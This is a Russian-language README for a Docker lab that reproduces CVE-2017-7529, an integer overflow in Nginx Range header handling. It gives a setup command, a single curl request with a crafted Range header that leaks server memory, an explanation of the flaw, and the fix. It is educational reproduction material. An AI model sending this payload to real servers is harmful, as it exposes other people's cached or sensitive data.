CVE-2017-7529 - Переполнение целого числа в заголовке Range Nginx
- Nginx — это высокопроизводительный веб-сервер, обратный прокси, кэширующий сервер и т.д., широко используемый в качестве открытого веб-сервера.
- В версиях Nginx 1.13.2 и ниже существует уязвимость, вызванная целочисленным переполнением, позволяющая злоумышленнику манипулировать заголовком Range для утечки фрагментов памяти или конфиденциальной информации за пределами исходного диапазона ответа.
Ссылки
Настройка уязвимой среды
- Выполните следующую команду для запуска уязвимой среды Nginx:
bash
docker compose up -d
- После запуска сервера вы можете получить к нему доступ в браузере по следующему адресу:
arduino
http://your-ip:8080
- Отобразится стандартная страница Nginx или пользовательская страница index.html.
Воспроизведение уязвимости
- Используйте команду curl для отправки вредоносного запроса с заголовком Range:
bash
curl -v -H "Range: bytes=-9223372036854,5" http://your-ip:8080/
-> В теле ответа помимо части страницы могут содержаться странные двоичные данные или мусор из памяти.
Краткое объяснение принципа работы
- Эта уязвимость возникает из-за переполнения при вычислении целых чисел (отрицательных и положительных) при обработке запроса Range, что приводит к включению в ответ областей памяти, которые изначально не предполагались.
- Благодаря этому злоумышленник может извлечь кэшированные данные или часть конфиденциальной информации.
Заключение
- Эта уязвимость может привести к раскрытию информации (Information Disclosure) с помощью простого HTTP-запроса.
- Если в ответе будут содержаться конфиденциальные настройки или другие утекшие данные, это может привести к серьезному инциденту безопасности.
- Исправление: рекомендуется обновить Nginx до версии 1.13.3 или выше.
Пример структуры файлов
bash
CVE-2017-7529/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── index.html
└── README.md <-- этот документ